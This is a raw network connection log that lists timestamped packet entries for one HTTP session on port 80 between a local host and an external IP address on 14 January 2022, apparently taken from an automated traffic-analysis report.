Jan 14, 2022 21:05:50.140683889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140712976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140739918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140763998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140788078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140810966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140834093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140836954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140856028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140861034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140862942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140877962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140887976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140913010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140933990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140939951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140965939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140974998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140993118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141017914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141026974 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141045094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141069889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141078949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141094923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141119957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141130924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141145945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141170979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141196012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141206026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141222000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141232014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141248941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141273975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141298056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141310930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141323090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141339064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141346931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141374111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141398907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141417980 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141424894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141441107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141452074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141478062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141503096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141514063 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141530037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141545057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141556025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141581059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141607046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141618013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141633987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141643047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141661882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141685963 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141696930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141711950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141738892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141765118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.141776085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.141804934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.143162012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.143196106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.143238068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.143919945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.193828106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.193876982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.193949938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.194196939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.194225073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.194288969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.199892998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.199924946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.199949980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.199975014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.199995995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200000048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200020075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200045109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200063944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200087070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200110912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200123072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200131893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200138092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200165987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200169086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200177908 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200190067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200216055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200241089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200265884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200272083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200280905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200292110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200319052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200344086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200350046 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200367928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200377941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200395107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200421095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200434923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200444937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200470924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200496912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200515985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200541019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200541019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200566053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200578928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200584888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200592995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200618982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200622082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200644016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200669050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200694084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200720072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200722933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200733900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200747013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200772047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200786114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.200797081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200824976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200849056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200874090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200892925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200917959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200942039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200980902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.200984955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201008081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201034069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201037884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201059103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201086044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201111078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201112986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201137066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201141119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201164007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201189041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201214075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201240063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201263905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201265097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201292992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201293945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201318979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.201323032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201435089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201498032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201504946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.201509953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.216726065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.251766920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.251801014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.251844883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.251871109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.251888037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.251930952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259063005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259097099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259123087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259147882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259175062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259198904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259217978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259223938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259251118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259258986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259275913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259282112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259303093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259320021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259330988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259356022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259381056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259382010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259407043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259423018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259430885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259457111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259481907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259497881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259506941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259532928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259535074 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259557962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259567976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259583950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259608984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259625912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259634018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259660006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259684086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259701967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259710073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259740114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259741068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259766102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259785891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259792089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259820938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259846926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259866953 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259872913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259896040 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259901047 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259927988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259948015 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.259953022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.259979010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260004044 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260025024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260030985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260052919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260059118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260086060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260106087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260111094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260138988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260159016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260164022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260190964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260210037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260216951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260243893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260256052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260273933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260299921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260318995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260324955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260351896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260373116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260377884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260405064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260431051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260443926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260459900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260478973 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260487080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260514975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260535002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260540009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260566950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260593891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.260607958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.260656118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.264141083 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.309762001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.309782028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.309799910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.309817076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.309864044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.309889078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318378925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318397045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318413019 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318428993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318447113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318463087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318464041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318478107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318495035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318510056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318512917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318532944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318547010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318552017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318569899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318581104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318587065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318603039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318619967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318631887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318638086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318655014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318665981 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318672895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318687916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318691015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318710089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318725109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318727970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318748951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318763018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318775892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318794012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318809986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318816900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318830013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318845987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318846941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318865061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318882942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318887949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318902016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318917036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318919897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318933964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318950891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318953037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318972111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.318986893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.318989992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319009066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319027901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319037914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319046021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319063902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319072962 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319083929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319096088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319103956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319123030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319130898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319140911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319159031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319165945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319179058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319195986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319214106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319215059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319232941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319240093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319247007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319266081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319273949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319283962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319303036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319319010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.319329023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.319339991 CET	80	49882	81.163.30.181	192.168.2.5
